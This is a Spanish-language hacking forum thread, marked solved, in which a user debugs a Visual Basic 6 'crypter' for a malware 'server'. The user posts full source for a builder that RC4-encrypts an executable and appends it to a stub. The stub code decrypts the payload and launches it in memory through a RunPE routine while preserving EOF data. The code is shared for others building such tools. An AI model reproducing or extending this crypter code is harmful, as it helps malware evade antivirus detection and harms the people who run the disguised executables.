[SOLUCIONADO] Error al encriptar un server

ORION · Agosto 04, 2012, 07:51:06 PM

hola que tal a todos, tengo un problema y es el siguiente, ya cree el crypter y el stub todo anda bien aparentemente porque no lanza ningun error al crear el server encriptado pero el error comienza cuando al server encriptado le doy doble click para ejecutarlo y me sale esto, error 75 en tiempo de ejecucion error de acceso a ruta o archivo alguien que me pudiera a ayudar, no se donde esta el error. El crypter tiene EOF y RC4. gracias de antemano

Snifer · Agosto 05, 2012, 12:59:05 AM

Simple y facil al pasarlo a cifrar se rompe ...

Saludos

k0ws · Agosto 05, 2012, 07:28:22 AM

Tiene toda la pinta de que si esta en VB6, el problema sea en:

Código: text


Dim Ruta, DataArchivo As String
Ruta = App.Path & "\" & App.Exename & ".exe"
Open Ruta For Binary As #1
DataArchivo = Space(LOF(1))
Get #1 , , DataArchivo 
Close #1

Lo mas probable es que el problema este en ese apartado, quizas en la ruta, has usado funciones para evitar la ruta?

Revisa que sea similar a eso

-Saludos-

orion3000 · Agosto 06, 2012, 11:41:54 PM

ola soy el que publico , pero no se que paso con mando restablecer y sale error de usuario, bueno no importa
bueno yo pienso que aprender es compartir asi que aca dejo todo el codigo
Bueno aca esta el crypter ,tiene rc4 y EOF y md5 para llaves

Código: vb

Dim md5 As New clsMD5, rc4 As New clsRC4

Private Sub Command1_Click()

With CD
.DialogTitle = "Seleccione el archivo a encryptar"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With

If CD.Filename <> vbNullString Then
Text1.Text = CD.Filename
MsgBox "SERVER CARGADO CORRECTAMENTE", vbInformation, Me.Caption
End If
End Sub

Private Sub Command2_Click()
Randomize
Text1.Text = md5.DigestFileToHexStr(Rnd)

End Sub

Private Sub Command3_Click()
With CD
.DialogTitle = "guardar server en"
.Filter = "archivo ejecutable (.exe) | *.exe"
.ShowSave
End With
If CD.Filename <> vbNullString Then
Dim encriptacion As String, eof As String
Dim stub() As Byte, stub2 As String, archivo As String

If Check1.value = 1 Then
eof = ReadEOFData(Text1.Text)
End If

stub = LoadResData(101, "stub")
Open App.Path & "\stub.exe" For Binary As #1
Put #1, , stub
Close #1

Open Text1.Text For Binary As #1
archivo = Space(LOF(1))
Get #1, , archivo
Close #1

If Option1.value = True Then
encriptacion = "RC4"
archivo = rc4.EncryptString(archivo, Text2.Text)
End If

Open App.Path & "\stub.exe" For Binary As #1
stub2 = Space(LOF(1))
Get #1, , stub2
Close #1

Open CD.Filename For Binary As #1
Put #1, , stub2
Put #1, , "[ delimitador]"
Put #1, , Text2.Text
Put #1, , "[ delimitador]"
Put #1, , encriptacion
Put #1, , "[ delimitador]"
Put #1, , archivo

Close #1

If Check1.value = 1 Then
Call WriteEOFData(CD.Filename, eof)
End If

Kill (App.Path & "\stub.exe")
MsgBox "server creado", vbInformation, Me.Caption
End If

End Sub


y este es el stub , esta el runpe el y la clase rc4

Dim rc4 As New clsRC4, yo As String
Dim Key As String, archivo As String
Dim encriptacion As String

Private Sub Form_Load()
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
yo = Space(LOF(1))
Get #1, , yo
Close #1

Key = Split(yo, "[ delimitador]")(1)
encriptacion = Split(yo, "[ delimitador]")(2)
archivo = Split(yo, "[ delimitador]")(3)

If encriptacion = "RC4" Then
archivo = rc4.DecryptString(archivo, Key)
End If

Dim datta() As Byte
datta() = StrConv(archivo, vbFromUnicode)
Call UWRIBQW(App.Path & "\" & App.EXEName & ".exe", datta(), Command)
End
End Sub

Espero que les ayude si estan en esto y me ayuden para solucionar mi duda gracias por su atencion saludos

[SOLUCIONADO] Error al encriptar un server

ORION

Agosto 04, 2012, 07:51:06 PM Ultima modificación: Junio 10, 2015, 01:17:02 PM por Expermicid

Snifer

Agosto 05, 2012, 12:59:05 AM #1

k0ws

Agosto 05, 2012, 07:28:22 AM #2

orion3000

Agosto 06, 2012, 11:41:54 PM #3 Ultima modificación: Agosto 07, 2012, 04:57:38 PM por Pr0ph3t